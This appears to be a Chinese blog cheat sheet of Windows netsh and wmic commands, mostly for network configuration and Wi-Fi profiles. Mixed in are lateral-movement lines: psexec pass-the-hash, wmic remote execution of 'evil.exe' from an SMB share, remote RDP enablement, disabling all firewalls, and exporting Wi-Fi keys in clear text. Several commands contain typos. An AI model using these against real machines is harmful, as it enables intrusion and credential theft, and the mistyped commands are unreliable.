netsh命令的初探

netsh命令的初探

netsh命令

# 修改对应网卡的获取IP的形式,如改为dhcp

netsh interface ipv4 set address name="以太网" source=dhcp

# 修改对应网卡的获取IP的形式,如改为static 并设置相关的ip gateway netmask dns等

netsh interface ipv4 set address name="以太网" source=static addr=192.168.1.100 mask=255.255.255.0 gateway=192.168.1.1

netsh interface ip set address name="以太网" source=static addr=192.168.1.100 mask=255.255.255.0 gateway=192.168.1.1 gwmetric=0

或者:

netsh interface ip set address name="以太网" static 192.168.1.100 255.255.255.0 192.168.1.1 1

# 主DNS

netsh interface ipv4 set dns name="以太网" source=static addr=114.114.114.114 register=PRIMARY

netsh interface ipv4 set dns name="以太网" static 114.114.114.114

# 主辅DNS

netsh interface ipv4 set dns name="以太网" static 114.114.114.114 114.114.115.115 both

或单独辅DNS

netsh interface ip add dns name="以太网" 114.114.115.115 index = 2

# 如果您的PC已配置为使用DHCP,则希望将适配器配置为使用DHCP中的DNS,并运行以下命令

netsh interface ip set dnsservers name="以太网" source = dhcp

# 关闭当前配置的防火墙

netsh advfirewall set currentprofile state off

# 关闭所有防火墙

netsh advfirewall set all profiles state off

# 本机windows端口转发

启用转发
netsh interface port proxy add v4tov4 listenport=3000 listenaddress=192.168.1.100 connectport=4000 connectaddress=192.168.1.120

停止转发
netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=192.168.1.100

# 列举用户登录时长 模糊搜索管理员用户

wmic netlogin where (name like "%administrator%") get numberoflogons

# 以system权限来执行远程命令(IP是远程的IP地址)

psexec /accepteula \ip -s md.exe

# 利用用户hash来登录远程主机并执行命令(IP是远程的IP地址)

psexec /acceptula \ip -u Domain\\user -p LM:NTLM cmd.exe /c dir c:\

# 使用用户名密码通过smb来执行远程主机上的命令或者文件

wmic /node: targetiP /user:domain\\user /password:password process call create "\ smbiP \share\evil.exe"

# 卸载软件

wmic product get name /value # 获取软件名称
wmic product where name="11XXX" call uninstall /nointeractive

# 判定远程登录用户

wmic /node:remotecomputer computersystern get username

# 实时获取远程主机进程

wmic /node:machinename process list brief /every:1

# 开启远程rdp

wmic /node:"machinename 4" path Win32_TerminalServiceSetting where AllowTSConnections="O" call SetAllowTSConnections "1"

# 重置 Winsock 目录

netsh winsock reset

netsh语法

netsh[ -a AliasFile] [ -c Context ] [-r RemoteComputer] [ -u [ DomainName\ ] UserName ] [ -p Password | *] [{NetshCommand | -f ScriptFile}]

说明:https://docs.microsoft.com/zh-cn/windows-server/networking/technologies/netsh/netsh-contexts

# 网络设置的备份与恢复

备份操作: netsh dump >bak18.txt
恢复操作: nesh exec bak18.txt

# 用命令改IP,如下

C:/>netsh (进入设置模式) 
netsh>interface
interface>ip

interface ip>set address "本地连接" static 10.1.1.111 255.255.255.0 10.1.1.254
interface ip>exit

# 导出已有配置文件

netsh wlan export profile key=clear(clear表示以明文方式显示密码)
# 常用的netsh wlan命令
列出配置文件:netsh wlan show profile
导出配置文件:netsh wlan export profile key=clear
删除配置文件:netsh wlan delete profile name=""
添加配置文件:netsh wlan add profile filename=""
连接wifi:netsh wlan connect name=""
列出接口:netsh wlan show interface
开启接口:netsh interface set interface "Interface Name" enabled
列出所有可连接wifi详细信息:netsh wlan show networks mode=bssid
# 开启和禁用(wlan0和eth0代表网卡的名称)
禁用无线网卡:netsh interface set interface wlan0 disabled
启用无线网卡:netsh interface set interface wlan0 enabled
禁用有线网卡:netsh interface set interface eth0 disabled
启用有线网卡:netsh interface set interface eth0 enabled

更详细的请查看命令帮助


分享到:


相關文章: